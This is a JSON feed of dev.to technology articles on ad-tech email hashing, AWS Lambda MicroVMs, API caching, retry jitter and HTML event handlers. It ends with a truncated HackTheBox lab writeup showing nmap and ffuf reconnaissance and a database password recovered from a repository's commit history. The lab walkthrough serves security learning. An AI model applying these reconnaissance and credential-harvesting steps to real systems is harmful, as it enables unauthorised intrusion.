{"query":"Technology","results":[{"title":"UID2: The Standard That Quietly Replaced the Tracking Cookie","description":"While the industry celebrated the “death of the third-party cookie,” advertising platforms built a more persistent and standardized identity system based on your email address.\nUnified ID 2.0 (UID2) is now powering a significant portion of open-web advertising. Created by The Trade Desk and open-sourced, it standardizes how companies turn email addresses into stable identifiers.\n\nUID2 has two layers:\nRaw UID2: A static SHA-256 hash (Base64) of your normalized email address. Deterministic and permanent — same email = same hash everywhere.\nUID2 Token: An encrypted, rotating token used in the bidstream. This is what gets the “privacy-friendly” headlines.\nThe rotating token protects the bidstream, but the raw UID2 hash lives in backend databases across publishers, advertisers, and data platforms. That hash is the real backbone of the identity graph.\nUID2’s normalization rules explicitly strip everything after the + sign for Gmail addresses (and remove dots). So user+shopping@gmail.com and user@gmail.com produce the exact same UID2 hash.\nA common privacy workaround is rendered useless inside the UID2 ecosystem.\nBecause the algorithm is fully public (no secrets, just SHA-256 + normalization), anyone can generate UID2 hashes from a list of email addresses.\nAn attacker with breached UID2 databases can now map which services you actually use and craft highly targeted phishing emails that impersonate those exact services. Hashing doesn’t anonymize — it creates a reproducible lookup key.\nEUID (the European variant) improves consent flows under GDPR but doesn’t fix the underlying structural vulnerability.\nThe most effective defense is simple: never give sites your real email address.\nUse unique aliases per service. Each alias produces a completely different UID2 hash with no mathematical link to your real identity or other aliases. This breaks the identity graph at the source.\nEMail Parrot goes further by also stripping tracking pixels, unwrapping tracking links, and cleaning metadata at the relay layer before delivery.\nRead the full article here:\n\nUID2: The Standard That Replaced the Cookie\nWhat are your thoughts on UID2? Is it a necessary evolution for a cookieless web, or does it introduce new privacy and security risks?\nI’d love to hear from developers, privacy engineers, and ad-tech folks.","content":"<p>While the industry celebrated the “death of the third-party cookie,” advertising platforms built a more persistent and standardized identity system based on your email address.</p>\n\n<p><strong>Unified ID 2.0 (UID2)</strong> is now powering a significant portion of open-web advertising. Created by The Trade Desk and open-sourced, it standardizes how companies turn email addresses into stable identifiers.</p>\n\n<p><a href=\"https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%","url":"https://dev.to/wadco/uid2-the-standard-that-quietly-replaced-the-tracking-cookie-2e12","imageUrl":"https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1hmb183x7y72eh95gv0f.jpeg","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:10:53 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"AWS Lambda MicroVMs: I Tested the New Stateful Serverless Primitive","description":"What just happened\n\n\nOn June 22, 2026, AWS quietly launched Lambda MicroVMs. Not a Lambda feature update. A new compute primitive sitting between Lambda Functions (stateless, 15-min max) and EC2 (full VM, you manage everything).\n\nEach MicroVM is an isolated Firecracker VM with its own HTTPS endpoint, running your code from a pre-built snapshot. Stateful. Up to 8 hours. Suspend when idle, resume on demand.\nI tested it the same week. Here's what I found.\nA minimal Python HTTP server packaged as a Dockerfile:\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, time, os\n\nclass Handler(BaseHTTPRequestHandler):\n    start_time = time.time()\n    request_count = 0\n\n    def do_GET(self):\n        Handler.request_count += 1\n        body = json.dumps({\n            \"message\": \"Hello from Lambda MicroVM!\",\n            \"uptime_seconds\": round(time.time() - Handler.start_time, 2),\n            \"requests_served\": Handler.request_count,\n            \"pid\": os.getpid()\n        })\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(body.encode())\n\nHTTPServer((\"0.0.0.0\", 8080), Handler).serve_forever()\n\nThe Dockerfile:\nFROM public.ecr.aws/lambda/microvms:al2023-minimal\nRUN dnf install -y python3 && dnf clean all\nWORKDIR /app\nCOPY app.py .\nEXPOSE 8080\nCMD [\"python3\", \"app.py\"]\n\nThree steps:\nZip code + Dockerfile → upload to S3\ncreate-microvm-image builds the container, starts the app, takes a Firecracker snapshot of memory and disk\nrun-microvm launches from that snapshot\nEvery launch resumes from the pre-initialized state. No cold boot. Your app is already running the moment the MicroVM starts.\naws lambda-microvms create-microvm-image \\\n  --name hello-microvm-test \\\n  --code-artifact \"uri=s3://my-bucket/artifact.zip\" \\\n  --base-image-arn arn:aws:lambda:us-east-1:aws:microvm-image:al2023-1 \\\n  --build-role-arn arn:aws:iam::123456789:role/MicroVMBuildRole\n\nImage build took about 3 minutes. Once done:\naws lambda-microvms run-microvm \\\n  --image-identifier arn:aws:lambda:us-east-1:123456789:microvm-image:hello-microvm-test \\\n  --execution-role-arn arn:aws:iam::123456789:role/MicroVMExecutionRole \\\n  --idle-policy '{\"maxIdleDurationSeconds\":300,\"suspendedDurationSeconds\":60,\"autoResumeEnabled\":true}'\n\nResponse:\n{\n  \"microvmId\": \"microvm-489fbc1b-1c73-3b37-a9f2-266d0173cb94\",\n  \"state\": \"RUNNING\",\n  \"endpoint\": \"34cf7dac-bb5c.lambda-microvm.us-east-1.on.aws\"\n}\n\n\n\n\nMetric\nMeasured\n\n\n\n\nImage build\n~3 minutes\n\n\nLaunch API call\n1.17s\n\n\nTime to RUNNING\n~12s\n\n\nFirst request (from snapshot)\n911ms\n\n\nWarm request latency\n~340ms\n\n\nSuspend → Resume\n1.86s\n\n\n\nThe 340ms warm latency includes my network round-trip from Hamburg to us-east-1. The actual compute latency is lower.\nThis is the part that matters. After three requests:\n{\"requests_served\": 3, \"uptime_seconds\": 434.76, \"pid\": 1}\n\nSuspend the MicroVM. Resume it. Send another request:\n{\"requests_served\": 5, \"uptime_seconds\": 454.1, \"pid\": 1}\n\nSame PID. Counter continued from where it left off. Uptime kept ticking (includes suspended time). Full memory and disk state preserved across suspend/resume.\nEach request needs a JWE token generated via the API:\naws lambda-microvms create-microvm-auth-token \\\n  --microvm-id microvm-489fbc1b \\\n  --expiration-in-minutes 15 \\\n  --allowed-ports '[{\"port\":8080}]'\n\nThe token goes in the X-aws-proxy-auth header. Short-lived, scoped to specific ports. No way to hit someone else's MicroVM.\nBefore Lambda MicroVMs, running untrusted code (AI-generated, user-submitted) meant:\nContainers with custom hardening — shared kernel, escape risk, significant engineering to harden\nEC2 per user — minutes to start, expensive, you manage everything\nLambda Functions — 15-min max, stateless, no interactive sessions\nLambda MicroVMs fills the gap: VM-level isolation with serverless operational model. No capacity planning. No kernel to patch. Suspend when idle, pay only for snapshot storage.\nCompute: 0.5–8 GB RAM baseline, burst to 32 GB. 0.25–4 vCPU baseline, burst to 16.\nDisk: up to 32 GB\nRuntime: max 8 hours\nArchitecture: ARM64 only (for now)\nProtocols: HTTP/1.1, HTTP/2, gRPC, WebSocket, SSE\nRegions: us-east-1, us-east-2, us-west-2, eu-west-1, ap-northeast-1\nThree dimensions:\nCompute: per-second, based on your chosen baseline + peak usage above it\nSnapshot operations: read/write when launching or suspending\nSnapshot storage + data transfer\nSuspended MicroVMs cost only storage. No compute charges while idle.\nIf you're building any of these, Lambda MicroVMs changes your architecture:\nAI agent sandboxes (execute generated code safely)\nBrowser-based IDEs (each user gets their own env)\nCI/CD runners (isolated per job, no shared state)\nJupyter/analytics (state persists across sessions)\nVulnerability scanning (disposable, isolated)\nARM64 only is a constraint for workloads compiled for x86\n5 regions at launch means some customers wait\nThe snapshot-based model means your app's initialization needs to be snapshot-friendly (no stale connections, no clock-sensitive state at init)\nPricing details not fully public yet at time of writing\nYou need AWS CLI v2.35.10+. The lambda-microvms service is a separate command namespace:\naws lambda-microvms list-managed-microvm-images --region us-east-1\naws lambda-microvms create-microvm-image --help\naws lambda-microvms run-microvm --help\n\nThe base image (al2023-1) is Amazon Linux 2023 minimal. Your Dockerfile adds what you need on top.\nTested June 24, 2026. Lambda MicroVMs launched June 22 in preview.\nBlog: https://aws.amazon.com/blogs/aws/run-isolated-sandboxes-with-full-lifecycle-control-aws-lambda-introduces-microvms/\n\nProduct page: https://aws.amazon.com/lambda/lambda-microvms/\n\nCLI: aws-cli v2.35.10+ (aws lambda-microvms)","content":"<h2>\n  \n  \n  What just happened\n</h2>\n\n<p>On June 22, 2026, AWS quietly launched Lambda MicroVMs. Not a Lambda feature update. A new compute primitive sitting between Lambda Functions (stateless, 15-min max) and EC2 (full VM, you manage everything).</p>\n\n<p><a href=\"https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4dgxkyb4ysr2sbpy3emc.png\" class=\"article-body-image-","url":"https://dev.to/aws-builders/aws-lambda-microvms-i-tested-the-new-stateful-serverless-primitive-40jf","imageUrl":"https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4dgxkyb4ysr2sbpy3emc.png","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 03:49:35 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Build a link-preview service with one API call","description":"When someone pastes a URL into your app's comment box or chat, you want to show a preview card: the page title, a short description, the favicon, and the social image. Doing that yourself means fetching the HTML, parsing the <head>, reconciling OpenGraph tags with Twitter cards with bare <meta> tags, chasing redirects, and handling the sites that return garbage. It's a weekend of work and a permanent maintenance tax.\nSiteIntel does that parsing for you and hands back clean JSON. One GET request per URL.\nThe API lives at https://siteintel.p.rapidapi.com and uses RapidAPI's auth headers. Here's a preview for a GitHub repo:\ncurl --request GET \\\n  --url 'https://siteintel.p.rapidapi.com/analyze?url=https://github.com/clause-netizen/siteintel-api' \\\n  --header 'X-RapidAPI-Key: YOUR_RAPIDAPI_KEY' \\\n  --header 'X-RapidAPI-Host: siteintel.p.rapidapi.com'\n\nThe same thing in Node, using the built-in fetch (Node 18+, no dependencies):\nasync function getPreview(targetUrl) {\n  const endpoint = new URL('https://siteintel.p.rapidapi.com/analyze');\n  endpoint.searchParams.set('url', targetUrl);\n\n  const res = await fetch(endpoint, {\n    headers: {\n      'X-RapidAPI-Key': process.env.RAPIDAPI_KEY,\n      'X-RapidAPI-Host': 'siteintel.p.rapidapi.com',\n    },\n  });\n\n  if (!res.ok) {\n    throw new Error(`SiteIntel returned ${res.status}`);\n  }\n  return res.json();\n}\n\nconst preview = await getPreview('https://stripe.com');\nconsole.log(preview.title, '—', preview.description);\n\nThe response gives you the fields a preview card needs, already normalized:\n{\n  \"url\": \"https://stripe.com\",\n  \"title\": \"Stripe | Financial Infrastructure to Grow Your Revenue\",\n  \"description\": \"Stripe powers online and in-person payment processing...\",\n  \"favicon\": \"https://stripe.com/favicon.ico\",\n  \"ogImage\": \"https://stripe.com/img/v3/home/social.png\"\n}\n\nTwo things worth knowing from having run this in production. The favicon and ogImage come back as absolute URLs, so you don't have to resolve relative paths against the origin yourself. And description falls back across sources: it prefers the OpenGraph og:description, then the standard meta description, so you usually get something rather than null even on pages that skip OG tags.\nA comment system that turns pasted links into cards. When a user submits a comment, scan the text for URLs, call the API for each one, and store the result alongside the comment:\nasync function enrichComment(text) {\n  const urls = text.match(/https?:\\/\\/[^\\s]+/g) || [];\n  const previews = await Promise.all(\n    urls.map((u) => getPreview(u).catch(() => null))\n  );\n  return { text, previews: previews.filter(Boolean) };\n}\n\nThe .catch(() => null) matters. Some links will 404 or time out, and you don't want one dead URL to sink the whole comment. Cache previews by URL too, since the same links get pasted over and over and the metadata rarely changes within a day.\nThat's the whole thing. Fetch, render the card, cache the result.\nWorking examples and the full field list are in the repo: https://github.com/clause-netizen/siteintel-api. If you'd rather not manage your own scraping infra, it's on RapidAPI with a managed key: https://rapidapi.com/hidanny0001/api/siteintel","content":"<p>When someone pastes a URL into your app's comment box or chat, you want to show a preview card: the page title, a short description, the favicon, and the social image. Doing that yourself means fetching the HTML, parsing the <code>&lt;head&gt;</code>, reconciling OpenGraph tags with Twitter cards with bare <code>&lt;meta&gt;</code> tags, chasing redirects, and handling the sites that return garbage. It's a weekend of work and a permanent maintenance tax.</p>\n\n<p>SiteIntel does that parsing fo","url":"https://dev.to/clausenetizen/build-a-link-preview-service-with-one-api-call-3o4j","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:24:50 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Expected Option<String>, Got Option<()> — Here's Why","description":"I'm learning Rust and recently ran into something unexpected with Option type. I expected r to be Option<&mut String>, but it came back as Option<()> instead.\nHere's what I tried:\nlet mut vds = VecDeque::from([\"a\".to_owned(), \"b\".to_owned()]);  \nlet r = vds  \n    .get_mut(0)  \n    .and_then(|v| Some(*v = String::from(\"Hello\")));\n\nIt turned out to be a fundamental Rust concept: assignment is an expression, and it always evaluates to (), the empty unit type.\nHere's why: *v = String::from(\"Hello\") is an assignment, so it evaluates to (). Some() wraps that unit value, giving us Some(()). That's why r ends up as Option<()>.","content":"<p>I'm learning Rust and recently ran into something unexpected with <code>Option</code> type. I expected <code>r</code> to be <code>Option&lt;&amp;mut String&gt;</code>, but it came back as <code>Option&lt;()&gt;</code> instead.</p>\n\n<p>Here's what I tried:<br>\n</p>\n\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight rust\"><code><span class=\"k\">let</span> <span class=\"k\">mut</span> <span class=\"n\">vds</span> <span class=\"o\">=</span> <span class=\"nn\">VecDeque</span><span class=\"p\">:","url":"https://dev.to/jazz_thumyat/expected-option-got-option-heres-why-5495","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:24:16 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Exponential backoff with jitter stopped our CI retry storms","description":"TL;DR: Exponential backoff with jitter spreads client retries over time so a recovering service doesn't get flattened by a synchronised wave. We added full jitter to our CI agents and a retry budget, and our internal 503 rate during recovery dropped from minutes of saturation to seconds.\nA few months back at Buildkite a metadata service we run on ECS had a 40 second blip, and the recovery took six minutes instead of forty seconds. The service came back healthy, then immediately fell over again, then recovered, then fell over. Our build agents had all retried at the same fixed interval, so every two seconds a few thousand requests arrived in lockstep. That synchronised wave is a retry storm, and exponential backoff with jitter is the standard fix.\nI'd read about this for years and never actually watched it bite us. Once it did, the maths got a lot more interesting. Here's what we changed and why it worked.\nA retry storm happens when many clients fail at the same moment, then retry on the same schedule, producing a repeating spike of traffic that prevents the downstream service from recovering. Because the retries are correlated in time, each recovery attempt is immediately overwhelmed, so a short outage stretches into a long one. Jitter breaks the correlation by randomising when each client retries.\nThe key word is correlated. One client retrying every two seconds is nothing. Three thousand clients that all failed at 12:04:01 and all retry at exactly +2s, +4s, +8s is a denial-of-service attack you wrote yourself. The downstream never sees the gaps between the spikes, so its CPU and connection pool stay pinned.\nOur old agent retry config looked sensible on paper. Retry up to 5 times, wait 2 seconds between attempts, give up after that. The problem is the 2 seconds is identical for every agent, so the herd stays in formation through the entire recovery window.\nPlain exponential backoff helps a bit. If you double the wait each time (2s, 4s, 8s, 16s) the spikes spread out as attempts progress. But the first retry after a shared failure still lands at the same instant for everyone, and that first wave is usually the one that re-saturates a fragile service. The fix that actually matters is adding randomness on top of the exponential growth.\nMarc Brooker's AWS post on the topic ran the simulation properly years ago, and the result is blunt: full jitter both reduces the number of calls and finishes the work faster than no jitter or partial jitter. We just hadn't applied it to our own internal clients.\nThere are a few flavours. The two we considered were equal jitter and full jitter.\nimport random\n\nBASE = 0.2      # seconds\nCAP = 20.0      # max backoff\n\ndef equal_jitter(attempt):\n    backoff = min(CAP, BASE * (2 ** attempt))\n    return backoff / 2 + random.uniform(0, backoff / 2)\n\ndef full_jitter(attempt):\n    backoff = min(CAP, BASE * (2 ** attempt))\n    return random.uniform(0, backoff)\n\nEqual jitter keeps half the backoff fixed and randomises the other half, so retries are spread but still loosely clustered. Full jitter picks any value between zero and the current cap, which spreads the herd the widest. We went with full jitter for the metadata client because the downstream cared far more about peak concurrency than about any single request finishing quickly.\nOne catch worth calling out: with full jitter a retry can fire almost immediately after a failure, since the lower bound is zero. That's fine when your concern is the aggregate wave. If you also need a guaranteed minimum gap, clamp the lower bound to a small floor like BASE.\nJitter spreads the retries, but it doesn't cap the total work a struggling service has to absorb. For that we added two more controls.\nFirst, a retry budget. Each agent tracks the ratio of retries to fresh requests over a sliding 10 second window, and once retries exceed 20 percent of traffic it stops retrying and fails fast. The Google SRE book section on addressing cascading failures describes this pattern, and it's the single change that put a hard ceiling on storm amplitude.\nSecond, a circuit breaker in front of the client. After a threshold of consecutive failures it opens for a few seconds and returns errors locally without touching the network. That gives the downstream a guaranteed quiet window to recover, instead of a steady trickle of probes from thousands of agents.\n\n\n\nControl\nWhat it fixes\nWhat it doesn't\n\n\n\n\nExponential backoff\nSpreads retries over time\nDoesn't cap total retry volume\n\n\nFull jitter\nDecorrelates the herd\nCan retry near-instantly\n\n\nRetry budget\nCaps retry-to-request ratio\nNeeds per-client state\n\n\nCircuit breaker\nGives downstream quiet windows\nAdds a tuning knob to get wrong\n\n\n\nJitter makes individual request latency less predictable, which annoys anyone trying to set a tight p99 SLO on a single call. You're trading per-request determinism for system-wide stability, and that's usually the right trade for internal infrastructure, but not always for a user-facing path with a strict deadline.\nRetry budgets need per-client state, so a brand new agent with no history can still pile on during the first window. Circuit breakers add a threshold and a timeout you have to tune, and a breaker set too aggressively will trip on normal noise and hurt availability. We game-day these settings now rather than trusting the defaults, because a control you've never tested under failure is just a guess.\nExponential backoff with jitter is cheap to add and it solved a problem that fixed-interval retries had quietly created for us. If I were starting over I'd reach for full jitter by default, pair it with a retry budget, and only add a circuit breaker once I'd measured a real cascading failure. Then I'd run a game day to break it on purpose, because the only retry logic I trust is the kind I've watched fail safely.\nExponential Backoff And Jitter, AWS Architecture Blog\nAddressing Cascading Failures, Google SRE Book\nHandling Overload, Google SRE Book\nRetry guidance and the retry budget concept in gRPC","content":"<p><strong>TL;DR:</strong> Exponential backoff with jitter spreads client retries over time so a recovering service doesn't get flattened by a synchronised wave. We added full jitter to our CI agents and a retry budget, and our internal 503 rate during recovery dropped from minutes of saturation to seconds.</p>\n\n<p>A few months back at Buildkite a metadata service we run on ECS had a 40 second blip, and the recovery took six minutes instead of forty seconds. The service came back healthy, then i","url":"https://dev.to/claire_nguyen/exponential-backoff-with-jitter-stopped-our-ci-retry-storms-4hlk","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:21:46 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Stop Wasting Bandwidth: Master API Caching with ETags ⚡","description":"The Redundant Data Tax\nIn data-dense B2B SaaS platforms at Smart Tech Devs, clients constantly poll your API for updates. Imagine a dashboard making a GET /api/system-config request every 60 seconds. The payload is 200KB of JSON. If the configuration hasn't changed in three days, your server is spending CPU cycles serializing data, and you are paying AWS egress fees to transmit the exact same 200KB file 1,440 times a day per user.\nBasic Redis caching speeds up the database query, but it doesn't stop the payload from traveling over the network. To eliminate network bloat entirely, your API must leverage the browser's native HTTP cache using ETags and the Stale-While-Revalidate directive.\nThe Solution: 304 Not Modified\nAn ETag (Entity Tag) is a cryptographic hash (like an MD5 checksum) of the response body. When the server sends the JSON, it includes the ETag in the header.\nThe next time the browser requests that endpoint, it sends an If-None-Match: {ETag} header. The server quickly calculates the hash of the current data. If the hashes match, the data hasn't changed! Instead of sending the 200KB JSON body, the server instantly drops the payload and replies with a tiny, empty 304 Not Modified status code. The browser knows it is safe to use its local cache, dropping network transfer times to 1 millisecond.\nArchitecting an ETag Middleware in Laravel\nWe can implement this globally across our read-only API routes using a custom Laravel Middleware layer.\n\nnamespace App\\Http\\Middleware;\n\nuse Closure;\nuse Illuminate\\Http\\Request;\n\nclass ETagCacheMiddleware\n{\n    public function handle(Request $request, Closure $next)\n    {\n        // 1. Only cache safe, read-only methods\n        if (! $request->isMethod('GET') && ! $request->isMethod('HEAD')) {\n            return $next($request);\n        }\n\n        $response = $next($request);\n\n        // 2. Generate a unique MD5 hash of the final JSON content\n        $etag = md5($response->getContent());\n        $requestEtag = str_replace('\"', '', $request->header('If-None-Match', ''));\n\n        // 3. If the browser's hash matches the server's hash, drop the payload!\n        if ($requestEtag === $etag) {\n            $response->setNotModified(); // Automatically converts to 304 and strips the body\n        }\n\n        // 4. Attach the ETag and the ultimate performance directive: stale-while-revalidate.\n        // This tells the browser: \"Show the cached version instantly, but check the server in the background for updates.\"\n        $response->withHeaders([\n            'ETag' => '\"' . $etag . '\"',\n            'Cache-Control' => 'public, max-age=60, stale-while-revalidate=300'\n        ]);\n\n        return $response;\n    }\n}\n\nThe Engineering ROI\nBy implementing ETags and stale-while-revalidate, you shift the burden of data storage from your cloud servers to your user's local device. Your server response times become functionally instantaneous, network bandwidth costs plummet, and your Next.js frontend feels locally native because it never waits for unchanged data to cross the physical wire.","content":"<h2>The Redundant Data Tax</h2>\n\n<p>In data-dense B2B SaaS platforms at Smart Tech Devs, clients constantly poll your API for updates. Imagine a dashboard making a <code>GET /api/system-config</code> request every 60 seconds. The payload is 200KB of JSON. If the configuration hasn't changed in three days, your server is spending CPU cycles serializing data, and you are paying AWS egress fees to transmit the exact same 200KB file 1,440 times a day per user.</p>\n\n<p>Basic Redis caching speeds up t","url":"https://dev.to/iprajapatiparesh/stop-wasting-bandwidth-master-api-caching-with-etags-1bh7","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:12:23 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"_action: Declarative Event Handlers in an Attribute","description":"Introduction\n\n\nIn HTML Traits I went looking for a cleaner way to attach\nmajority of the behavior I wanted wasn't really a \"component\" at all. It was\nwhen this changes, submit the form. Or: when this form submits, reset\n. Reaching for a class with a constructor and a lifecycle to express \"call\nSo I wrote something even smaller. It lives in\n_action.ts\n<form _change=submit method=post action=\"?handler=editTeam\">\n    ...\n</form>\n\nWhen anything inside that form fires a change event, the function named\nsubmit runs. That's it. No custom element, no trait definition, no wrapper.\nThere is a single set of delegated listeners on the document:\nfor (let event of [\"click\", \"change\", \"submit\"]) {\n  doc.addEventListener(event, e => {\n    let target = e.target\n    let action = findAttr(target, event)\n    if (!action) return\n    handleCall(e, target, action)\n  })\n}\n\nThat [\"click\", \"change\", \"submit\"] list isn't special — it's just the set\nany bubbling event, so if\ninput, keydown, focusout, or a custom event of your own, you add\n_input / _keydown /\n_focusout attribute to bind against. Nothing else changes.\nFor each event type it walks up from the target with closest([_${event}])\n_click / _change / _submit attribute, with a fallback\nform. The attribute's value is a space-separated list\nwindow.app, and each one is called with a small\nfn.call(null, { app: w.app, ev: e, target, el: target, form })\n\nBecause the listener is delegated at the document, it works for elements that\n<input name=newPlayerName required _submit=\"reset clearAutoFocus\">\n\nRegistering a handler is just hanging a function off window.app:\nObject.assign(window.app, {\n  reset: ({ form }) => form?.reset(),\n  clearAutoFocus: ({ target }) => target.removeAttribute(\"autofocus\"),\n})\n\nThere is also a _load attribute, handled separately, for the \"run this once\nhz:completed\nThe hz:completed event comes from\nhtmz-be, a small library I wrote for\nhtmz and\nDatastar. It dispatches\nhz:completed after a swap, which is the hook _action uses to re-run\n_load handlers on freshly inserted elements.\nfunction handleLoad() {\n  for (let el of doc.querySelectorAll(\"[_load]\")) {\n    let action = el.getAttribute(\"_load\")\n    handleCall(new Event(\"load\"), el, action)\n    el.removeAttribute(\"_load\")\n  }\n}\n\nIn the soccer app the overwhelming majority of interactivity is a one-liner\n<form _change=submit method=post action=\"?handler=editTeam&teamId=${team.id}\">\n\nReset the \"add player\" form after it submits, and drop the autofocus once\n<form _submit=reset method=post action=\"?handler=addPlayer\">\n    <input name=newPlayerName required autofocus _submit=clearAutoFocus>\n</form>\n\nNone of these needed a component, a lifecycle, or a definition. The function is\nThe interesting case is the live game timer. A <span> that ticks up every\n_action is just the entry point — the _load\n<span _load=\"gameTimer\" data-total=\"${total}\" data-static>00:00</span>\n\nwindow.app.gameTimer = ({ el }) => {\n  if (el._) return   // guard against double-init\n  el._ = true\n  new GameTimer(el)\n}\n\nThe GameTimer class then does everything a stateful component does — but\nassemble its own lifecycle out of parts:\nclass GameTimer {\n  constructor(el) {\n    this.el = el\n    this.interval = +(el.dataset.interval ?? 0) || 1e3\n    document.addEventListener(\"hz:completed\", this)\n    window.app.disconnectWatcher?.(el, this)   // <-- borrowed teardown\n    this.update(Date.now())\n  }\n\n  disconnectedCallback() {\n    timer.remove(this)\n    document.removeEventListener(\"hz:completed\", this)\n  }\n  // ...\n}\n\nTwo things stand out compared to the simple case:\n\"Connected\" is manual. _load is the moment of construction, and the\nel._ guard exists because, unlike a web component, nothing stops the same\nelement from being initialized twice.\n\"Disconnected\" is borrowed. There's no native callback when the element\nleaves the DOM, so the app provides a disconnectWatcher — a single\nMutationObserver on document.body that calls disconnectedCallback() on\nregistered instances when their node is removed. The timer leans on that to\nclean up its setInterval and its event listener.\nThis is the honest tradeoff: _action gives you next to nothing for free, so\ndo need real component semantics you reassemble them yourself from a\nAll three solve the same underlying problem — attach behavior to HTML without\n — but they sit at different points on the\nPros:\nReal, browser-native lifecycle: connectedCallback,\ndisconnectedCallback, attributeChangedCallback.\nEncapsulation, optional Shadow DOM, and a proper custom element registry.\nStandard — no library to ship.\nCons:\nCustom element names must contain a dash, and you generally wrap your\nsemantic HTML in a non-semantic element.\nBuilt-in/customized elements (the is= form) aren't supported in Safari, and\neven there you get only one behavior per element.\nYou re-learn and re-implement APIs that native elements already give you, and\ncomposing several behaviors means nesting several elements.\nPros:\nComposition: traits=\"elastic-textarea character-limit\", multiple,\nordered behaviors on one element, no wrappers.\nKeeps the native element (and its native attributes like maxlength), so you\nlearn less and reimplement nothing.\nBuilt for progressive enhancement; mirrors the web-component class API\n(constructor(el), disconnectedCallback) so it's familiar.\nCons:\nIt's still \"components\": you define a class and register it for every\nbehavior, which is more than some interactions deserve.\nA library you ship, and a partial reimplementation of web components — no\nShadow DOM, never a true custom element.\nPros:\nThe smallest of the three (~60 lines, one set of delegated listeners). No\nper-element registration, no definitions — just name a function on\nwindow.app and point an attribute at it.\nNaturally composable (_submit=\"reset clearAutoFocus\") and form-aware (it\nfalls back to the owning form), which is exactly what MPA-style pages need.\nWorks with server-morphed HTML out of the box because it's delegated at the\ndocument.\nRight-sized for the common case, which is \"run this function on this event,\"\nnot \"instantiate a stateful component.\"\nCons:\nNo lifecycle by default. Initialization is a manual _load hook (plus a guard\nflag to avoid double-init), and teardown only exists if you opt into the\nshared disconnectWatcher.\nNo encapsulation — every handler is a global on window.app, so naming is\non you.\nIt's event handlers, not components: for genuinely stateful widgets (the game\ntimer) you end up rebuilding the very lifecycle that traits and web components\nhand you.\nI think of it as a ladder, not a competition:\n_action for the 90% that is \"on this event, call this function\" —\nauto-submit, reset, confirm, toggle a class. It's the default reach.\nHTML Traits when a behavior is genuinely a reusable, stateful enhancement\nof a native element and you want clean composition without wrappers.\nWeb components when you need true encapsulation, Shadow DOM, or you're\nshipping a widget for other people's pages to consume.\nThe pattern I keep coming back to is that most \"interactivity\" on a server-driven\n_action lets me stop pretending it is.\nThis was originally posted on jnyman.com.","content":"<h2>\n  \n  \n  Introduction\n</h2>\n\n<p>In <a href=\"https://dev.to/html-traits/\">HTML Traits</a> I went looking for a cleaner way to attach<br>\nbehavior to an element than wrapping it in a custom element. Traits got me most<br>\nof the way there: composition over inheritance, multiple behaviors per element,<br>\nno wrapper soup. But once I started building real pages I noticed that the<br>\n<em>majority</em> of the behavior I wanted wasn't really a \"component\" at all. It was<br>\njust: <em>when this cha","url":"https://dev.to/jon49/action-declarative-event-handlers-in-an-attribute-3b35","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:08:28 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"HackTheBox: Nexus Writeup","description":"Executive Summary\n\n\nThis writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged:\nExposed credentials in Git commit history\nAuthenticated RCE via CRM file upload vulnerability (CVE-2026-38526)\nPath traversal in privileged template synchronization service\nnmap -A -Pn 10.129.21.192 -oA nmap\n\nResults:\nPORT   STATE SERVICE VERSION\n22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16\n80/tcp open  http    nginx 1.24.0 (Ubuntu)\n      └─ Redirect: http://nexus.htb\n\nAnalysis: HTTP redirect to hostname suggests vhosts/subdomains exist\nffuf -u http://nexus.htb -H \"HOST: FUZZ.nexus.htb\" \\\n  -w subdomains-top1million-110000.txt -fs 154\n\nResults:\ngit       [Status: 200]  ← Gitea instance\nbilling   [Status: 302]  ← CRM application\n\nAdd to /etc/hosts:\n10.129.21.192 nexus.htb git.nexus.htb billing.nexus.htb\n\nCorporate landing page\nKey Finding: Hiring manager email visible: j.matthew@nexus.htb\n\n\n\n\n  \n  \n  git.nexus.htb (Gitea)\n\n\nNavigate to http://git.nexus.htb/ and click \"Explore\" button\nResult: Lists all public repositories:\nadmin/krayin-docker-setup ← This is what we need\nAccessible without authentication\nContains .env, docker-compose.yml, and documents\nTwo options to proceed:\nManual browse: Click on the repo in Gitea UI, view files and commit history directly\nClone locally: git clone http://git.nexus.htb/admin/krayin-docker-setup (recommended for offline analysis)\nLogin portal visible\nVersion: Krayin CRM 2.2.0 (shown after login)\nClone the repo and check the logs and commits\ngit clone http://git.nexus.htb/admin/krayin-docker-setup\ncd krayin-docker-setup\ngit log --oneline\n\nOutput:\n9b817fa4e0 Upload files to \"/\"\n1615c465b7 Upload files to \"/\"\n\nExamine commit details:\ngit show 9b817fa4e0\n\nCRITICAL FINDING (from diff):\nDB_PASSWORD=N27xh!!2ucY04     (← OLD: plaintext password exposed!)\nDB_PASSWORD=                  (← NEW: removed)\n\nCredentials extracted:\nUsername: j.matthew@nexus.htb (from main site)\nPassword: 